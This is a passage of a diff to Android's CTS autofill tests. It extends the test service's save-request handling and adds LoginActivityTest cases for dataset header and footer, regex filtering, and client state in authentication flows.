-        sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+        sReplier.onFillRequest(this, request.getFillContexts(), request.getClientState(),
                 cancellationSignal, callback, request.getFlags());
     }
 
@@ -118,14 +119,16 @@
                 return;
             }
         }
-        sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
+        sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback,
+                request.getDatasetIds());
     }
 
     private boolean fromSamePackage(List<FillContext> contexts) {
         final ComponentName component = contexts.get(contexts.size() - 1).getStructure()
                 .getActivityComponent();
         final String actualPackage = component.getPackageName();
-        if (!actualPackage.equals(getPackageName())) {
+        if (!actualPackage.equals(getPackageName())
+                && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
             Log.w(TAG, "Got request from package " + actualPackage);
             return false;
         }
@@ -216,12 +219,14 @@
      * that can be asserted at the end of a test case.
      */
     static final class SaveRequest {
-        final List<FillContext> contexts;
-        final AssistStructure structure;
-        final Bundle data;
-        final SaveCallback callback;
+        public final List<FillContext> contexts;
+        public final AssistStructure structure;
+        public final Bundle data;
+        public final SaveCallback callback;
+        public final List<String> datasetIds;
 
-        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
+        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
             if (contexts != null && contexts.size() > 0) {
                 structure = contexts.get(contexts.size() - 1).getStructure();
             } else {
@@ -230,6 +235,7 @@
             this.contexts = contexts;
             this.data = data;
             this.callback = callback;
+            this.datasetIds = datasetIds;
         }
     }
 
@@ -245,7 +251,9 @@
         private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
         private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
 
-        private List<Exception> mExceptions;
+        private List<Throwable> mExceptions;
+        private IntentSender mOnSaveIntentSender;
+        private String mAcceptedPackageName;
 
         private Replier() {
         }
@@ -256,14 +264,18 @@
             this.mIdMode = mode;
         }
 
+        public void acceptRequestsFromPackage(String packageName) {
+            mAcceptedPackageName = packageName;
+        }
+
         /**
          * Gets the exceptions thrown asynchronously, if any.
          */
-        @Nullable List<Exception> getExceptions() {
+        @Nullable List<Throwable> getExceptions() {
             return mExceptions;
         }
 
-        private void addException(@Nullable Exception e) {
+        private void addException(@Nullable Throwable e) {
             if (e == null) return;
 
             if (mExceptions == null) {
@@ -294,6 +306,14 @@
         }
 
         /**
+         * Sets the {@link IntentSender} that is passed to
+         * {@link SaveCallback#onSuccess(IntentSender)}.
+         */
+        void setOnSave(IntentSender intentSender) {
+            mOnSaveIntentSender = intentSender;
+        }
+
+        /**
          * Gets the next fill request, in the order received.
          *
          * <p>Typically called at the end of a test case, to assert the initial request.
@@ -356,9 +376,12 @@
             mFillRequests.clear();
             mSaveRequests.clear();
             mExceptions = null;
+            mOnSaveIntentSender = null;
+            mAcceptedPackageName = null;
         }
 
-        private void onFillRequest(List<FillContext> contexts, Bundle data,
+        private void onFillRequest(InstrumentedAutoFillService service,
+                List<FillContext> contexts, Bundle data,
                 CancellationSignal cancellationSignal, FillCallback callback, int flags) {
             try {
                 CannedFillResponse response = null;
@@ -398,13 +421,17 @@
 
                 switch (mIdMode) {
                     case RESOURCE_ID:
-                        fillResponse = response.asFillResponse(
+                        fillResponse = response.asFillResponse(service,
                                 (id) -> Helper.findNodeByResourceId(contexts, id));
                         break;
                     case HTML_NAME:
-                        fillResponse = response.asFillResponse(
+                        fillResponse = response.asFillResponse(service,
                                 (name) -> Helper.findNodeByHtmlName(contexts, name));
                         break;
+                    case HTML_NAME_OR_RESOURCE_ID:
+                        fillResponse = response.asFillResponse(
+                                (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+                        break;
                     default:
                         throw new IllegalStateException("Unknown id mode: " + mIdMode);
                 }
@@ -419,10 +446,15 @@
             }
         }
 
-        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
-            Log.d(TAG, "onSaveRequest()");
-            mSaveRequests.offer(new SaveRequest(contexts, data, callback));
-            callback.onSuccess();
+        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
+            Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
+            mSaveRequests.offer(new SaveRequest(contexts, data, callback, datasetIds));
+            if (mOnSaveIntentSender != null) {
+                callback.onSuccess(mOnSaveIntentSender);
+            } else {
+                callback.onSuccess();
+            }
         }
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 898ca84..04abecf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -20,10 +20,10 @@
 import static android.app.Activity.RESULT_OK;
 import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
 import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
 import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
 import static android.autofillservice.cts.Helper.assertNumberOfChildren;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
@@ -39,10 +39,6 @@
 import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
 import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
 import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
 import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -70,7 +66,6 @@
 import android.content.IntentSender;
 import android.graphics.Color;
 import android.os.Bundle;
-import android.service.autofill.FillEventHistory;
 import android.service.autofill.SaveInfo;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
@@ -92,6 +87,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
+import java.util.regex.Pattern;
 
 /**
  * This is the test case covering most scenarios - other test cases will cover characteristics
@@ -206,15 +202,53 @@
 
     @Test
     public void testAutoFillOneDataset() throws Exception {
+        autofillOneDatasetTest(BorderType.NONE);
+    }
+
+    @Test
+    public void testAutoFillOneDataset_withHeader() throws Exception {
+        autofillOneDatasetTest(BorderType.HEADER_ONLY);
+    }
+
+    @Test
+    public void testAutoFillOneDataset_withFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.FOOTER_ONLY);
+    }
+
+    @Test
+    public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.BOTH);
+    }
+
+    private enum BorderType {
+        NONE,
+        HEADER_ONLY,
+        FOOTER_ONLY,
+        BOTH
+    }
+
+    private void autofillOneDatasetTest(BorderType borderType) throws Exception {
         // Set service.
         enableService();
 
         // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
+        String expectedHeader = null, expectedFooter = null;
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
+            expectedHeader = "Head";
+            builder.setHeader(createPresentation(expectedHeader));
+        }
+        if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
+            expectedFooter = "Tails";
+            builder.setFooter(createPresentation(expectedFooter));
+        }
+        sReplier.addResponse(builder.build());
         mActivity.expectAutoFill("dude", "sweet");
 
         // Dynamically set password to make sure it's sanitized.
@@ -224,7 +258,10 @@
         mActivity.onUsername(View::requestFocus);
 
         // Auto-fill it.
-        sUiBot.selectDataset("The Dude");
+        final UiObject2 picker = sUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
+                "The Dude");
+
+        sUiBot.selectDataset(picker, "The Dude");
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -338,6 +375,43 @@
     }
 
     @Test
+    public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .build())
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available...
+        sUiBot.assertDatasets("The Dude");
+
+        // ... on all fields.
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
     public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
         mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
             @Override
@@ -517,6 +591,7 @@
 
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
+                        .setId("I'm the alpha and the omega")
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
                         .setPresentation(createPresentation("The Dude"))
@@ -558,6 +633,8 @@
 
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
 
+        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
         // Assert value of expected fields - should not be sanitized.
         final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
         assertTextAndValue(username, "dude");
@@ -1116,6 +1193,61 @@
     }
 
     @Test
+    public void filterTextUsingRegex() throws Exception {
+        // Dataset presentations.
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
+                        .setPresentation(createPresentation(aa))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatsoever", createPresentation(ab),
+                                Pattern.compile("a|ab"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
+                        .setPresentation(createPresentation(b))
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        sUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        runShellCommand("input keyevent KEYCODE_A");
+        runShellCommand("input keyevent KEYCODE_A");
+        runShellCommand("input keyevent KEYCODE_A");
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
     public void testSaveOnly() throws Exception {
         saveOnlyTest(false);
     }
@@ -1161,6 +1293,7 @@
 
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
         sReplier.assertNumberUnhandledSaveRequests(0);
+        assertThat(saveRequest.datasetIds).isNull();
 
         // Assert value of expected fields - should not be sanitized.
         try {
@@ -1577,6 +1710,42 @@
     }
 
     @Test
+    public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Make sure it didn't trigger save.
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Sanity check: session should have been canceled
+        assertNoDanglingSessions();
+    }
+
+    @Test
     public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
         mActivity.setFlags(FLAG_SECURE);
         testAutoFillOneDatasetAndSave();
@@ -1848,6 +2017,109 @@
     }
 
     @Test
+    public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+    }
+
+    @Test
+    public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+    }
+
+    @Test
+    public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.BOTH);
+    }
+
+    enum ClientStateLocation {
+        INTENT_ONLY,
+        FILL_RESPONSE_ONLY,
+        BOTH
+    }
+
+    private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final CannedFillResponse.Builder authenticatedResponseBuilder =
+                new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
+            authenticatedResponseBuilder.setExtras(newClientState("CSI", "FromAuthResponse"));
+        }
+
+        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? AuthenticationActivity.createSender(mContext, 1,
+                        authenticatedResponseBuilder.build())
+                : AuthenticationActivity.createSender(mContext, 1,
+                        authenticatedResponseBuilder.build(), newClientState("CSI", "FromIntent"));
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME)
+                .setIgnoreFields(ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(newClientState("CSI", "FromResponse"))
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Tap authentication request.
+        sUiBot.selectDataset("Tap to auth response");
+
+        // Tap dataset.
+        sUiBot.selectDataset("Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Now trigger save.
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert client state on authentication activity.
+        assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
+
+        // Assert client state on save request.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? "FromAuthResponse" : "FromIntent";
+        assertClientState("on save", saveRequest.data, "CSI", expectedValue);
+    }
+
+    // TODO(on master): move to helper / reuse in other places
+    private void assertClientState(String where, Bundle data, String expectedKey,
+            String expectedValue) {
+        assertWithMessage("no client state on %s", where).that(data).isNotNull();
+        final String extraValue = data.getString(expectedKey);
+        assertWithMessage("invalid value for %s on %s", expectedKey, where)
+            .that(extraValue).isEqualTo(expectedValue);
+    }
+
+    // TODO(on master): move to helper / reuse in other places
+    private Bundle newClientState(String key, String value) {
+        final Bundle clientState = new Bundle();
+        clientState.putString(key, value);
+        return clientState;
+    }
+
+    @Test
     public void testFillResponseFiltering() throws Exception {
         // Set service.
         enableService();
@@ -1927,10 +2199,6 @@
     }
 
     private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1940,14 +2208,13 @@
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(bogusPresentation)
                         .build());
 
         // Configure the service behavior
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, bogusValue)
-                        .setField(ID_PASSWORD, bogusValue)
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("Tap to auth dataset"))
                         .setAuthentication(authentication)
                         .build())
@@ -2080,7 +2347,6 @@
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Dataset"))
                         .build());
 
         // Configure the service behavior
@@ -2115,10 +2381,6 @@
 
     @Test
     public void testDatasetAuthTwoDatasets() throws Exception {
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2127,7 +2389,6 @@
         final CannedDataset unlockedDataset = new CannedDataset.Builder()
                 .setField(ID_USERNAME, "dude")
                 .setField(ID_PASSWORD, "sweet")
-                .setPresentation(bogusPresentation)
                 .build();
         final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
                 unlockedDataset);
@@ -2137,14 +2398,14 @@
         // Configure the service behavior
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, bogusValue)
-                        .setField(ID_PASSWORD, bogusValue)
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("Tap to auth dataset 1"))
                         .setAuthentication(authentication1)
                         .build())
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, bogusValue)
-                        .setField(ID_PASSWORD, bogusValue)
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("Tap to auth dataset 2"))
                         .setAuthentication(authentication2)
                         .build())
@@ -2192,7 +2453,6 @@
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Dataset"))
                         .build());
 
         // Configure the service behavior
@@ -2238,11 +2498,7 @@
     }
 
     @Test
-    public void testDatasetAuthFiltering() throws Exception {
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
+    public void testDatasetAuthNoFiltering() throws Exception {
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2251,7 +2507,6 @@
         final CannedDataset unlockedDataset = new CannedDataset.Builder()
                 .setField(ID_USERNAME, "dude")
                 .setField(ID_PASSWORD, "sweet")
-                .setPresentation(bogusPresentation)
                 .build();
         final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 unlockedDataset);
@@ -2259,8 +2514,8 @@
         // Configure the service behavior
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, bogusValue)
-                        .setField(ID_PASSWORD, bogusValue)
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("Tap to auth dataset"))
                         .setAuthentication(authentication)
                         .build())
@@ -2300,6 +2555,161 @@
     }
 
     @Test
+    public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("DS1"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE,THE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("DS2"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ZzBottom")
+                        .setField(ID_PASSWORD, "top")
+                        .setPresentation(createPresentation("DS3"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then type something to hide them.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Now delete the char and assert they're shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then filter for 2
+        runShellCommand("input keyevent KEYCODE_D");
+        sUiBot.assertDatasets("DS1", "DS2");
+
+        // ...up to 1
+        runShellCommand("input keyevent KEYCODE_U");
+        sUiBot.assertDatasets("DS1", "DS2");
+        runShellCommand("input keyevent KEYCODE_D");
+        sUiBot.assertDatasets("DS1", "DS2");
+        runShellCommand("input keyevent KEYCODE_E");
+        sUiBot.assertDatasets("DS1", "DS2");
+        runShellCommand("input keyevent KEYCODE_COMMA");
+        sUiBot.assertDatasets("DS2");
+
+        // Now delete the char and assert 2 are shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        final UiObject2 picker = sUiBot.assertDatasets("DS1", "DS2");
+
+        // ...and select it this time
+        sUiBot.selectDataset(picker, "DS1");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetAuthFilteringUsingRegex() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+
+        final Pattern min2Chars = Pattern.compile(".{2,}");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // ...then type something to hide it.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // ...now type something again to show it, as the input will have 2 chars.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // Delete the char and assert it's not shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // ...then type something again to show it, as the input will have 2 chars.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiShownEvent(username);
+
+        // ...and select it this time
+        sUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
     public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
         datasetAuthMixedFilteringTest(true);
     }
@@ -2310,10 +2720,6 @@
     }
 
     private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2322,7 +2728,6 @@
         final CannedDataset unlockedDataset = new CannedDataset.Builder()
                 .setField(ID_USERNAME, "DUDE")
                 .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(bogusPresentation)
                 .build();
         final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 unlockedDataset);
@@ -2330,8 +2735,8 @@
         // Configure the service behavior
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, bogusValue)
-                        .setField(ID_PASSWORD, bogusValue)
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("Tap to auth dataset"))
                         .setAuthentication(authentication)
                         .build())
@@ -2389,6 +2794,79 @@
     }
 
     @Test
+    public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+    }
+
+    @Test
+    public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+    }
+
+    @Test
+    public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
+    }
+
+    private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final CannedDataset dataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? AuthenticationActivity.createSender(mContext, 1,
+                        dataset)
+                : AuthenticationActivity.createSender(mContext, 1,
+                        dataset, newClientState("CSI", "FromIntent"));
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(newClientState("CSI", "FromResponse"))
